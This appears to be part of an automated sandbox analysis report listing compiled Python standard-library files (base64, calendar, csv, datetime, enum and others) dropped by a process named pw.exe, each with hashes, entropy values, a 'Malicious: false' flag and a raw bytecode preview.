Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d`d.d.d...d.d...Z.d.d...Z.dad.d...d.d...Z.d.d...Z.d.d...Z.dbd.d...Z.d.d...Z.d.d...Z.dcd.d...Z.d.d ..Z.d!d"..Z.d.d#..d$d%..Z.d&d'..Z.G.d(d)..d)e...Z.G.dd+..d+e...Z.e.e.d,..s.d-d...Z.d/d0..Z.e.e.e...e._.e.e.e...e._.G.d1d2..d2e ..Z!d3d4..Z"G.d5d6..d6e.e!d7..Z#G.d8d9..d9e.e!d7..Z$G.d:d;..d;e.e!d7..Z%G.d<d=..d=e.e!d7..Z&G.d>d?..d?e.e!d7..Z'e#e(e)ef.e$e+f.e%e,f.e&e d...e-f.e'e d@..f.i.Z.e#e-f.i.Z/e-d=e d...d=e(d6e)d6e*d6e+d9e,d;e d@..d?i.Z0G.dAdB..dBe1..Z2G.dCdD..dDe2..Z3G.dEdF..dFe2..Z4e.e5dG....s"dHdI..Z6dJdK..Z7e.e6e7..e5_8G.dLdM..dMe9..Z:G.dNdO..dOe;..Z<G.dPdQ..dQe;..Z=G.dRdS..dSe;..Z>dTe?e.j@jAd.......ZBG.dUdV..dVe...ZCdWZDdXZEg.eD..eE..R.ZFG.dYdZ..dZe...ZGd[d\..ZHd]d^..ZIeJd_k...ryeI....d.S.d.S.)daH.... ast. ~~~.. The `ast` module helps Python applications to process trees of the Python. abstract syntax grammar. The abstract syntax itself might change with. each Python re

C:\recover\pw\lib\pycache\base64.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17160
Entropy (8bit):	5.493484129141197
Encrypted:	false
SSDEEP:	192:7ZvQ1Nayn9wBqXY71hITEOtuAk8CUSSYkXJ20RQa83hg9M6o0RzuQcT/zlNaf63V:dgay9wgo71hITOtHYP9M70xuzRNi63V3
MD5:	C49BFA0BB97BBE51993CB019C81C0C17
SHA1:	DEEF0FF2D271A8A76C0160591F79D3503C8BB6E7
SHA-256:	E69069485C46D2901455A0BBFE12E618D0360DAA5CF7E69253183251C9B46863
SHA-512:	B860607E26E0823848126B0434EC640F25D28F12079AFC50FE91E8CE3E0FE25264BD50497312EA21FD1AB174A24C21B6344D09AF2B1E4634E464BA478BC4A130
Malicious:	false
Preview:	o.........Sg.S.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.e.e.f.Z.d.d...Z.dQd.d...Z.dRd.d...Z.d.d...Z.d.d...Z.e...d.d...Z.e...d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.i.a.i.a.d.d...Z.dSd.d...Z.d.d...Z.e.j.d d!..e._.dSd"d#..Z.e.j.d e.d$..e._.d%d&..Z.e.j.d'd!..e._.dTd(d)..Z.e.j.d'dd$..e._.d+d,..Z dTd-d...Z!d.a"d.a#d/Z$d0Z%dUd1d2..Z&d.d.d.d.d3..d4d5..Z'd.d.d6d7..d8d9..Z(d:Z)d.ad.a+d.a,dTd;d<..Z-d=d>..Z.d?Z/e/d@..dA..Z0dBdC..Z1dDdE..Z2dFdG..Z3dHdI..Z4dJdK..Z5dLdM..Z6dNdO..Z7e8dPk.r.e6....d.S.d.S.)VzDBase16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings.....N)...encode..decode..encodebytes..decodebytes..b64encode..b64decode..b32encode..b32decode..b32hexencode..b32hexdecode..b16encode..b16decode..b85encode..b85decode..a85encode..a85decode..standard_b64encode..standard_b64decode..urlsafe_b64encode..urlsafe_b64decodec....................C...sl...t.\|.t...r.z.\|...d...W.S...t.y.......t.d.....w.t.\|.t...r.\|.S.z.t.\|.......W.S...t.y5......t.d.\|.j.j.....d...

C:\recover\pw\lib\pycache\bisect.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2586
Entropy (8bit):	5.195411064362436
Encrypted:	false
SSDEEP:	48:3ChwHaPJ7Bn7V3GEOCl7VU3OpOBn7B3wCLnCRl7VC39eV:3Ch7Bx3GEOC03OpOB93wGCRi34V
MD5:	EB4D30D48B0FFBD41A242889573B0167
SHA1:	1E281209E00CFDA9F945425EC7921E83CAEBC8CD
SHA-256:	C8C4617CC0F03ACF6602DAD11E72E10DF9714B52C58A98843586EC5061C714A8
SHA-512:	EE9232AF25A015E4A6CEDA0FFED53F66469F55AA2CFC5FD8819AB0F7EFE443BF1773C419664B7A79E8BF5D585AA20EF660E6F36A6D3BB360EE7BDC6EA828243D
Malicious:	false
Preview:	o.........Sg.........................@...sp...d.Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.z.d.d.l.T.W.n...e.y1......Y.n.w.e.Z.e.Z.d.S.).z.Bisection algorithms......N....keyc....................C....>...\|.d.u.r.t.\|.\|.\|.\|...}.n.t.\|.\|.\|...\|.\|.\|.d...}.\|...\|.\|.....d.S.).z.Insert item x in list a, and keep it sorted assuming a is sorted... If x is already in a, insert it to the right of the rightmost x... Optional args lo (default 0) and hi (default len(a)) bound the. slice of a to be searched.. Nr....)...bisect_right..insert....a..x..lo..hir......r......C:\recover\pw\lib\bisect.py..insort_right....s............r....c....................C...s....\|.d.k.r.t.d.....\|.d.u.r.t.\|...}.\|.d.u.r1\|.\|.k.r/\|.\|...d...}.\|.\|.\|...k.r'\|.}.n.\|.d...}.\|.\|.k.s.\|.S.\|.\|.k.rN\|.\|...d...}.\|.\|.\|.\|.....k.rF\|.}.n.\|.d...}.\|.\|.k.s5\|.S.).a....Return the index where to insert item x in list a, assuming a is sorted... The return value i is such that all e in a[:i] have e <= x, and all e i

C:\recover\pw\lib\pycache\bz2.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10868
Entropy (8bit):	5.268622498599363
Encrypted:	false
SSDEEP:	192:G6Eb2RLbRaQHzW6FVoDCGEUPIzSh/NHSN:bRLbRLpGPIzG/NyN
MD5:	E205A3C71AC059A59AB84D4F8357E69E
SHA1:	F33F5E6DA791186BAB42EED3FC7BE5BE320A9BAC
SHA-256:	B13AADFDF18C334FE8A29BCEA1A987DA4DCFE98E3CC08CF5534BE9A4838AEC18
SHA-512:	62C48116FF5CEE11D9CD1B80EB3BACF3EDD041C28E005FEA0EA204D6B20569FAE666355CF80973165A49B267723D342EFFC4B06302791931283E8D411A42A899
Malicious:	false
Preview:	o.........Sg./.......................@...s....d.Z.g.d...Z.d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.....d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Interface to the libbzip2 compression library...This module provides a file interface, classes for incremental.(de)compression, and functions for one-shot (de)compression..)...BZ2File..BZ2Compressor..BZ2Decompressor..open..compress..decompressz%Nadeem Vawda <nadeem.vawda@gmail.com>.....).r....N).r....r..............c....................@...s....e.Z.d.Z.d.Z.dd.d...d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d+d.d...Z.d,d.d...Z.d,d.d...Z.d.d...Z.d,d.d...Z.d,d.d ..Z.d!d"..Z.d#d$..Z.e.j.f.d%d&..Z.d'd(..Z.d)S.)-r....a@...A file object providing transparent bzip2 (de)compression... A BZ2File can act as a wrapper for an existing file object, or refer. directly to a named file on disk... Note that BZ2File provides a binary* file interface - data read is. returned as bytes, and data t

C:\recover\pw\lib\pycache\calendar.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	26301
Entropy (8bit):	5.2297198798688544
Encrypted:	false
SSDEEP:	768:+DfNsz3TQClly8bR9PS3q4Rh1mcMjscrtKXN:+JmHS3qF2itKXN
MD5:	A5189BCC149823671CD277538DFF6510
SHA1:	3B4B4D5FF7B808D81E381DC0C9729C6A88A94D37
SHA-256:	C79F92AA51C441B59C2AAF17941FB197E79DEFDF8B90F8B66E7A4EB963761476
SHA-512:	FF6C13E272A1BAAA05168A58C6A4C20467C36C848EC277C2F41C8C3437A6A4DB062855D4B924192609793C020E4CF74BDD56CD54B47983E4C5DAE967C1D4069E
Malicious:	false
Preview:	o.........Sg.b.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.e.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.g.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...\.Z.Z.Z.Z.Z.Z.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d ..Z"d!d"..Z#G.d#d$..d$e$..Z%G.d%d&..d&e%..Z&G.d'd(..d(e%..Z'G.d)d..d..Z(G.d+d,..d,e&..Z)G.d-d...d.e'..Z*e&..Z+e+j,Z-d/d0..Z.e+j/Z0e+j1Z1e+j2Z3e+j4Z5e+j6Z6e+j7Z8e+j9Z:e+j;Z<d1Z=d2Z>e=e>f.d3d4..Z?e=e>f.d5d6..Z@d7ZAe..BeAd.d....C..ZDd8d9..ZEd:d;..ZFeGd<k.r.eFe.jH....d.S.d.S.)=a$...Calendar printing functions..Note when comparing these calendars to the ones printed by cal(1): By.default, these calendars have Monday as the first day of the week, and.Sunday as the last (the European convention). Use setfirstweekday() to.set the first day of the week (0=Monday, 6=Sunday)......N)...repeat)...IllegalMonthError..IllegalWeekdayError..setfirstweekday..firstweekday..isleap..leapdays..weekday..monthrange..monthcalendar..prmonth..m

C:\recover\pw\lib\pycache\codecs.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	33217
Entropy (8bit):	5.020022477628064
Encrypted:	false
SSDEEP:	768:N//o6wZxokNQceWYXgYD7msLySGRbmOZwENNflPKPBxKa:NRUkFrOZwENNflPKPBxKa
MD5:	95D9863FA869929C050125DA6B8CDAE7
SHA1:	F60C32E80B084CBB8C2DB7DB85DC831407AB5CAE
SHA-256:	987849A43EFCB5C63D40735350FE36AC4F200F7E7978EAF762A2FAEB4CC24AE3
SHA-512:	E7F47276510F9074B56DC64A864C0EF4D26326ED3C4939F7298CE0E4E10637F852E42B21A9CEA12FC54641A8419D4A172B8EB57345780C620FD1B93DCB7EF67C
Malicious:	false
Preview:	o.........Sg........................@...sD...d.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.T.W.n...e.y"..Z...z.e.d.e.......d.Z.[.w.w.g.d...Z.d.Z.d...Z.Z.d...Z.Z.d.Z.d.Z.e.j.d.k.rAe...Z.Z.e.Z.n.e...Z.Z.e.Z.e.Z.e.Z.e.Z.e.Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z G.d.d...d...Z!G.d.d...d...Z"dCd#d$..Z#dDd%d&..Z$d'd(..Z%d)d..Z&d+d,..Z'd-d...Z(d/d0..Z)d1d2..ZdEd3d4..Z+dEd5d6..Z,d7d8..Z-d9d:..Z.z.e/d!..Z0e/d;..Z1e/d<..Z2e/d=..Z3e/d>..Z4e/d?..Z5W.n...e6y.......d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5Y.n.w.d.Z7e7..r.d.d.l8Z8e9d@k...r e$e.j:dAdB..e._:e$e.j;dBdA..e._;d.S.d.S.)Fz. codecs -- Python Codec Registry, API and helpers....Written by Marc-Andre Lemburg (mal@lemburg.com)...(c) Copyright CNRI, All Rights Reserved. NO WARRANTY........N)...*z%Failed to load the builtin codecs: %s),..register..lookup..open..EncodedFile..BOM..BOM_BE..BOM_LE..BOM32_BE..BOM32_LE..BOM64_BE..BOM64_LE..BOM_UTF8..BOM_UTF16..BOM_UTF16_LE..BOM_UTF16_BE..BOM_UTF32..

C:\recover\pw\lib\pycache\contextlib.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	20893
Entropy (8bit):	5.080662455453525
Encrypted:	false
SSDEEP:	384:nrNHbNxImphzxb/Dqd89tiVqnWcxavd5VCqXfNnpJ:rNHbNxhzpqd2OqnWvQAFf
MD5:	8DE5716A12952F35233B860317781B93
SHA1:	B10B26E3F35AB6F8232749F05EC589E1578B31EB
SHA-256:	6C567E19F2F8E60837675DFB72717BF59AA0B76A7B2DEB282FAD01C808E9A761
SHA-512:	515B228C5DF315DA515A1D75CB806529B35A1D0B857D11A83360C48977AFAFE531EB45697EF102EF902563D3A6B28BABAB1497B1FF1C720EE38CC86CB6E11AA6
Malicious:	false
Preview:	o.........Sg.h.......................@...s~...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e.e.e...Z.G.d.d...d.e.e.e...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e...Z.G.d!d"..d"e...Z.G.d#d$..d$e...Z.G.d%d&..d&..Z.G.d'd(..d(e.e...Z.G.d)d..de.e...Z.G.d+d,..d,e.e...Z d.S.)-z4Utilities for with-statement contexts. See PEP 343......N)...deque....wraps)...MethodType..GenericAlias)...asynccontextmanager..contextmanager..closing..nullcontext..AbstractContextManager..AbstractAsyncContextManager..AsyncExitStack..ContextDecorator..ExitStack..redirect_stdout..redirect_stderr..suppress..aclosingc....................@....:...e.Z.d.Z.d.Z.e.e...Z.d.d...Z.e.j.d.d.....Z.e.d.d.....Z.d.S.).r....z,An abstract base class for context managers.c....................C........\|.S...z0Return `self` upon entering the runtime context.......selfr....r......C:

C:\recover\pw\lib\pycache\copy.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6994
Entropy (8bit):	5.41143649326355
Encrypted:	false
SSDEEP:	192:hxPakDZxS5GhVc3isTDOuyib91quyccWEQTidqf2hMQkNv4n5q:7a0/S5GjcR/Iib9wEREkidQ2Ov4k
MD5:	D18DA1DD32D44F38BC32D80FD25C7F82
SHA1:	99CFBA8201CF0C6C0225F793CD636492EE411FD7
SHA-256:	3580B6CDD519F29B7EEEEBCCDD926BC6FA3C6F25CF8293CBD58D8AEE63DA1CF1
SHA-512:	241F7D9A691329E1FECFAB93606BF2D74B8CE3EFC37C8541452E54DB62408456F2E8101479CED334634F8998018A5045324957ACE8B61D681F52377253D823F7
Malicious:	false
Preview:	o.........Sg.#.......................@...sV...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...G.d.d...d.e...Z.e.Z.z.d.d.l.m.Z...W.n...e.y-......d.Z.Y.n.w.g.d...Z.d.d...Z.i...Z.Z.d.d...Z.e.d...e.e.e.e.e.e.e.e.e.e.e.e.e.j.e.e...e.e...e.j.e.j f.D.].Z!e.e.e!<.q[e"e.d.d...Z!e!d.u.rpe.e.e!<.e#j.e.e#<.e$j.e.e$<.e%j.e.e%<.e&j.e.e&<.e.d.u.r.e.j.e.e.<.[.[!d.g.f.d.d...Z'i...Z(Z.d.d...Z)e)e.e.d...<.e)e.e.e...<.e)e.e.e...<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.j*<.e)e.e.<.e)e.e.<.e)e.e.j.<.e)e.e.j.<.e)e.e.j <.e)e.e.<.e'f.d.d...Z+e+e.e#<.e'f.d.d...Z,e,e.e.<.e'f.d.d...Z-e-e.e$<.e.d.u...r.e-e.e.<.d.d...Z.e.e.e.j/<.[.d.d...Z0..d.e'd...d.d...Z1[.[.[.d.S.).a....Generic (shallow and deep) copying operations...Interface summary:.. import copy.. x = copy.copy(y) # make a shallow copy of y. x = copy.deepcopy(y) # make a deep copy of y..For module specific errors, copy.Error is raised...The difference between shallow and deep copying is only relevant for.compound objects (object

C:\recover\pw\lib\pycache\copyreg.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4681
Entropy (8bit):	5.290745809828144
Encrypted:	false
SSDEEP:	96:+qCI7QMLHGjZv9X1XBrxbbJz0uqhUaCWfqmb5p2LYHjmTrhqH3TpYXGP2:+AvHGVBrpb56eWfhqLYHjmTkH3TpY2P2
MD5:	7791D842D703C940DCA85F700572040E
SHA1:	137B1F6873E90D6B806B00320B1AE8E64C20FF57
SHA-256:	E39E4F7F18B0A20A2A4BD6FC673308AD263A2DAE427D690182FFB613D7749AF0
SHA-512:	CC778462D4EE4D2515C05026EF769F855C39FEBF3C63CD04C0E954CD66BBBCED9D83F7FB66DDA8796B92FB230810D7C9B8DB0B90D32CE91E6264F813A4CA1ABC
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.i.Z.d.d.d...Z.d.d...Z.z.e...W.n...e.y.......Y.n.w.d.d...Z.e.e.e.e.....d.d...Z.e.e.e.e.B...e.....d.d...Z.d.Z.e.e.j...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.i.Z.i.Z.i.Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.Helper to provide extensibility for pickle...This is only useful to add pickle support for extension types defined in.C, not for instances of user-defined classes..)...pickle..constructor..add_extension..remove_extension..clear_extension_cacheNc....................C...s0...t.\|...s.t.d.....\|.t.\|.<.\|.d.u.r.t.\|.....d.S.d.S.).Nz$reduction functions must be callable)...callable..TypeError..dispatch_tabler....).Z.ob_typeZ.pickle_functionZ.constructor_ob..r......C:\recover\pw\lib\copyreg.pyr........s................r....c....................C...s....t.\|...s.t.d.....d.S.).Nz.constructors must be callable).r....r....)...objectr....r....r....r........s..........r....c....................C...s....t.\|.j.\|.j.f.f.S...N)...complex..real..imag)...cr....r

C:\recover\pw\lib\pycache\csv.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11796
Entropy (8bit):	5.44170498375322
Encrypted:	false
SSDEEP:	192:yJq1+B25hSIQIWWvBMKumwKZdlXiWQA3LYPqOW9PJFoKzckOMsj9XCCDH:yJqfLSIQ2OKuuZrXiWQA0shzJaYWH
MD5:	95778C70037E17E564C7B36FE929DEA7
SHA1:	70D266B68E81AAC81ED07B8892B52FC28484519A
SHA-256:	5C0537561E5C45DBA9ABAA71F5061EB80320D524C46B6A06BA02C8D7411145F5
SHA-512:	2F2B402607DDACC96F1D9AA02329ED061EBF0D940954625CD0E13E392BD35E3035B588DBC3DE0BEED7F4A860F934C00DC454A0D6A4FE5B98138D99FA3096C3B6
Malicious:	false
Preview:	o.........SgZ@.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.e.d.e.....G.d.d...d.e...Z.e.d.e.....G.d.d...d.e...Z.e.d.e.....G.d.d...d...Z.G.d.d...d...Z.z.e...W.n...e.y.......e.Z.Y.n.w.G.d.d...d...Z.d.S.).z+.csv.py - read/write/investigate CSV files......N)...Error..__version__..writer..reader..register_dialect..unregister_dialect..get_dialect..list_dialects..field_size_limit..QUOTE_MINIMAL..QUOTE_ALL..QUOTE_NONNUMERIC..QUOTE_NONE..__doc__)...Dialect)...StringIO).r....r....r....r....r....r....r......excel..excel_tabr....r....r....r....r....r......Snifferr....r......DictReader..DictWriter..unix_dialectc....................@...sD...e.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.).r....z.Describe a CSV dialect... This must be subclassed (see csv.excel). Valid attributes are:. delimiter, quotechar, escapechar, doublequote, skipinitialspace,.

C:\recover\pw\lib\pycache\datetime.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	56531
Entropy (8bit):	5.255440254224156
Encrypted:	false
SSDEEP:	1536:5oPKIiu2u56NzkciJO4yM+AW89jpDhAV25hOsJ6raf:5Wkr8b
MD5:	A0E7CC8EE8C9DDB81CAB24DF11C29D78
SHA1:	D296AF122471B37CC816F14418499B14AC75B20C
SHA-256:	B0F97D4A16D2AE41C7B224261A9F77F152A8E5B327B93A0611C2484AD3F029E5
SHA-512:	A4164B5F660AAFCD9B94FB41D58B67892A6ACCD097C8676E28816CF7551C6E7C09D6C6662B1208A87EB83AAD06C53B29B935B848EB420F7250B203294AAE0B08
Malicious:	false
Preview:	o.........Sg.a.......................@...sr...d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.Z.d.Z.d.Z.g.d...Z.d.g.Z.d.Z.e.d.d.....D.].Z.e...e.....e.e.7.Z.q/[.[.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d.k.scJ...e.d.e...d...k.smJ...e.d.e...d...k.swJ...d.d...Z.g.d...Z.g.d...Z.d d!..Z.d\d#d$..Z.d%d&..Z d'd(..Z!d)d..Z"d+d,..Z#d-d...Z$d/d0..Z%d1d2..Z&d3d4..Z'd5d6..Z(d7d8..Z)d9d:..Zd;d<..Z+G.d=d>..d>..Z,e,d?..e,_-e,d@dAdBdBdCdD..e,_.e,d.dE..e,_/G.dFdG..dG..Z0e0Z1e0d.d.d...e0_-e0d.dHdI..e0_.e,d.dJ..e0_/G.dKdL..dL..Z2G.dMdN..dNe3..Z4e4Z5[4e2Z6G.dOdP..dP..Z.e.Z7e.d.d.d...e._-e.dAdBdBdC..e._.e,d.dE..e._/G.dQdR..dRe0..Z8e8d.d.d...e8_-e8d.dHdIdAdBdBdC..e8_.e,d.dE..e8_/dSdT..Z9G.dUdV..dVe2..Z:e:.;e,d.....e:_<e:.;e,dAdBdW......e:_-e:.;e,dAdBdW....e:_.e8dXd.d.e:j<dY..Z=z.d.dZl>T.W.n...e?..y.......Y.d.S.w.[.[.[.[.[.[.[=[.[.[.['[([)[%[&[.[*[1[.[.[.[.[ [.[.[9[.[.[.[7[6[![.[+["[$[#[5d.d[l>m.Z...d.S.)]z.Concrete date/time and related types...See http://www.iana.org/time-

C:\recover\pw\lib\pycache\dis.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15654
Entropy (8bit):	5.4643371794659314
Encrypted:	false
SSDEEP:	384:2Ddin2oDAV888oUZ7tDzEMDfdF6ZSdDz0TxkxVGdAZiVxiEa+0:2DdRoM9UfD6ZBkrYAZiVkEa+0
MD5:	CF8A7FA55919D773D5C7769D2A6C8B5B
SHA1:	74C961D5E77E6C2FD3242602A818BA920F575964
SHA-256:	02A78C275553670D7158B22AF1F294B9E6B43F8448A04A2F407582800E95E681
SHA-512:	4B526062610D587F79C5D95FCE5EEB2211A1E26E8E6B659A983F4F24766FBDA90EF5D561E90559C1D278AC773038AE4FB4C04BC5FE17ED4FCB0687FF3A733CF4
Malicious:	false
Preview:	o.........SgPP.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z...g.d...e...Z.[.e.j.e.j.e.j.e.e.e.f.Z.e.d...Z.d.e.d.f.e.d.f.e.d.f.f.Z.e.d...Z.d.Z.d.d...Z.dVd.d.d...d.d...Z.dVd.d...d.d...Z.d.d.d.d.d.d.d.d.d.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d.d...d(d)..Z.e.. dd+..Z!d,e!j"_.d-e!j._.d.e!j#_.d/e!j$_.d0e!j%_.d1e!j&_.d2e!j'_.d3e!j(_.d4Z)d5ZG.d6d7..d7e!..Z+d.d8..d9d:..Z,d;d<..Z-d=d>..Z.....dWd?d@..Z/dXd.d...dBdC..Z0d.d.d...dDdE..Z1....dYd.d.dF..dGdH..Z2dIdJ..Z3e0Z4dKdL..Z5dMdN..Z6dOdP..Z7G.dQdR..dR..Z8dSdT..Z9e:dUk...r.e9....d.S.d.S.)Zz0Disassembler of Python byte code into mnemonics......N)...*)...__all__)...code_info..dis..disassemble..distb..disco..findlinestarts..findlabels..show_code..get_instructions..Instruction..Bytecode..FORMAT_VALUE).N....str..repr..ascii..MAKE_FUNCTION)...defaults..kwdefaults..annotationsZ.closurec....................C...s4...z.t.\|.\|.d...}.W.\|.S...t.y.......t.\|.\|.d...}.Y.\|.S.w.).z.Attempts to compile the given source, fir

C:\recover\pw\lib\pycache\enum.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	26061
Entropy (8bit):	5.283308708855877
Encrypted:	false
SSDEEP:	384:VJTKcmNJ6I61HjkGoQEARW5nV3j412nrp+6s8LY4F8AGK/h3Ec:VFGNJgJEARW3Ea+VZ4F8AGK/Wc
MD5:	61F9E1C23A34FB458427862A98987ACC
SHA1:	B06FB8828D1D461C4F9E08CD3DFBBF83F62793C3
SHA-256:	6B5D738FE1BD5FA7BE3B2F756C629DD5D9A084DDD782CBF552051077AF946E5E
SHA-512:	E63A13647E3AA295F269A4BFC2ED7730FCAD08C85870A9929AAB5CB076DE69B091E51DD705C0B3B3EF909357BC0A1461A9D2D92F617CD0AD9134169058C6853C
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z...g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e.e...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.S.)%.....N)...MappingProxyType..DynamicClassAttribute)...EnumMeta..Enum..IntEnum..Flag..IntFlag..auto..uniquec....................C...s....t.\|.d...p.t.\|.d...p.t.\|.d...S.).z?. Returns True if obj is a descriptor, False otherwise.. ..__get__..__set__..__delete__)...hasattr)...obj..r......C:\recover\pw\lib\enum.py.._is_descriptor....s..............r....c....................C...sL...t.\|...d.k.o%\|.d.d.....\|.d.d.........k.o.d.k.n.....o%\|.d...d.k.o%\|.d...d.k.S.).z=. Returns True if a __dunder__ name, False otherwise.. .....N..........Z.__.._.........len....namer....r....r......_is_dunder....s......&...........r....c....................C...sL...t.\|...d.k.o%\|.d...\|.d.......k.o.d.k.n.....o%\|.d.d.....d.k.o%\|.d.d

C:\recover\pw\lib\pycache\fnmatch.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4242
Entropy (8bit):	5.657125917384982
Encrypted:	false
SSDEEP:	96:YZ1NvFl7gPHntns99V7Ry+/63Tq7Y1qYmWVzHRJwZLaL1iCtiOy9:Y1vFl7g/tnsV7g7HzTRbdUV
MD5:	D6442821D3EB2CAB79D763FA1F731400
SHA1:	91CB962FE72E54700F53377645501EBB1472C8AF
SHA-256:	090E191A5113924FA7E3F03CDE6229C90701BBEE9CDA6E7BBE53F89F7D83F1E1
SHA-512:	CEDFD7DD242DA1BFA0EBF50ACFAABD2F2E1B0DF6FCD5E1A170F725AAB3AEEA21F4D5757229F2997E5ED0CD641CC3D919114A133E0A31AF019CACA18906388B6C
Malicious:	false
Preview:	o.........Sg.........................@...s\|...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d.l.m.Z...e...j.Z.[.d.d...Z.e.j.d.d.d...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.S.).a....Filename matching with shell patterns...fnmatch(FILENAME, PATTERN) matches according to the local convention..fnmatchcase(FILENAME, PATTERN) always takes case in account...The functions operate by translating the pattern into a regular.expression. They cache the compiled regular expressions for speed...The function translate(PATTERN) returns a regular expression.corresponding to PATTERN. (It does not compile it.)......N)...filter..fnmatch..fnmatchcase..translate)...countc....................C...s"...t.j...\|...}.t.j...\|...}.t.\|.\|...S.).a....Test whether FILENAME matches PATTERN... Patterns are Unix shell style:.. * matches everything. ? matches any single character. [seq] matches any character in seq. [!seq] matches any char not in seq.. An initial period in FILENAME is not spec

C:\recover\pw\lib\pycache\functools.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	28333
Entropy (8bit):	5.344664551567672
Encrypted:	false
SSDEEP:	768:zoO3KwoQNi3/sZoyIw/kj6N4V9xI8HkXRssPmCzCe/:zo15QNi30Cj6iV9hHkhsm7me/
MD5:	B8053A55903D2839C358AF0E1AC15F45
SHA1:	74F757B555E4E41D23A399969DEC8F612E2302F9
SHA-256:	3FCE6FCE57F5119139533D81842BE96F2CB9C8197CB20B016B4EACAB7A60DA98
SHA-512:	B7D9359D2EFF06DDF9731A0ABFE0297535BC9EC9C8573845B678454B8E012663625D726E29BE4A46F6FA94681BE08B6382B7536DC815C1E491D4A2E9F1594C4E
Malicious:	false
